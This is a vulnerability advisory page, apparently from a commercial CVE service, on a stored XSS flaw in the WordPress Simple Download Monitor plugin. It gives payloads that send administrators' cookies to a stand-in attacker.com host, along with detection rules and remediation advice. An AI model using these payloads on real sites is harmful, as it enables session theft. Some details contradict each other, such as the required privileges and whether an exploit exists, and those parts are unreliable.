CVE-2025-58197
Executive Summary
CVE-2025-58197 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Simple Download Monitor (versions <= 3.9.34), developed by mra13. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any patches as soon as they become available. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
- User Interaction (UI): Required (R) – The victim must visit a crafted page.
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the lack of a public exploit and low EPSS score reduce immediate risk. However, stored XSS in a widely used plugin could be leveraged in targeted campaigns.
Deep Dive & Mechanics
The vulnerability exists in the Simple Download Monitor plugin, which allows administrators to manage downloadable files. The plugin fails to sanitize user input when creating or editing download items (e.g., file names, descriptions, or custom fields). An attacker with contributor-level access or higher can inject malicious JavaScript into these fields. When other users (including administrators) view the download list or edit the item, the injected script executes in their browser context.
Root Cause: The plugin uses echo or print functions to output user-supplied data without proper escaping or sanitization via WordPress functions like esc_html() or wp_kses_post().
Attack Flow:
- Attacker logs in with a role that can create/edit download items (e.g., Contributor, Author, Editor).
- Attacker creates a new download item and injects a payload like
<script>alert('XSS')</script>into the title or description field. - The payload is stored in the WordPress database.
- When an administrator or other user views the download list or edits the item, the payload executes.
- The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Vulnerable Code (simplified example from plugin):
// In a file like simple-download-monitor.php
function sdm_display_download_item($post) {
$title = get_the_title($post);
echo '<h3>' . $title . '</h3>'; // No sanitization
}
Patched Code (hypothetical fix):
function sdm_display_download_item($post) {
$title = get_the_title($post);
echo '<h3>' . esc_html($title) . '</h3>'; // Properly escaped
}
The patched version uses esc_html() to neutralize any HTML or JavaScript before output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A WordPress site with Simple Download Monitor <= 3.9.34 installed.
- An account with at least Contributor role.
Steps:
- Log in to WordPress as a Contributor.
- Navigate to Downloads > Add New.
- In the title field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the download item.
- Wait for an administrator to view the download list or edit the item.
- The script executes, sending the admin's cookies to the attacker's server.
Example Payload:
<script>
var img = new Image();
img.src = 'https://attacker.com/log?data=' + encodeURIComponent(document.cookie);
</script>
Blue Team (Defender)
Detection:
- Monitor for unusual download item titles or descriptions containing
<script>tags. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Review WordPress user activity logs for suspicious creation of download items.
Hunting:
- Query the WordPress database for posts with
post_type = 'sdm_downloads'and titles containing<script>. - Check for outbound connections to unknown domains from the WordPress server.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
attacker.comor similar domains from the WordPress server. - File: Modified or new download items in the WordPress database with injected JavaScript.
- Log: WordPress audit logs showing creation of download items by low-privileged users with suspicious content.
- Browser: Unexpected pop-ups or redirects when viewing download items.
Detection Engineering
YARA Rule
rule CVE_2025_58197_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Simple Download Monitor plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-58197"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$sdm_post_type = "sdm_downloads"
condition:
$xss_payload and $sdm_post_type
}
Sigma Rule
title: Stored XSS in Simple Download Monitor Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via download item creation
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
post_type: "sdm_downloads"
post_title|contains: "<script"
condition: selection
falsepositives:
- Legitimate use of JavaScript in descriptions (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-58197 Stored XSS in Simple Download Monitor"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"post_type=sdm_downloads"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical, or restrict access to download item creation to trusted administrators only.
- Implement a Web Application Firewall (WAF) with rules to block common XSS patterns.
- Monitor logs for suspicious activity related to download items.
Long-Term Fix:
- Apply a patch from the vendor once available. If no patch is released, consider forking the plugin and adding proper input sanitization using WordPress functions like
esc_html(),esc_attr(), orwp_kses_post(). - Upgrade to a patched version when released.
Workaround:
- Use a security plugin like Wordfence to add an additional layer of XSS protection.
- Manually sanitize all user inputs in the plugin's code if you have development capabilities.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.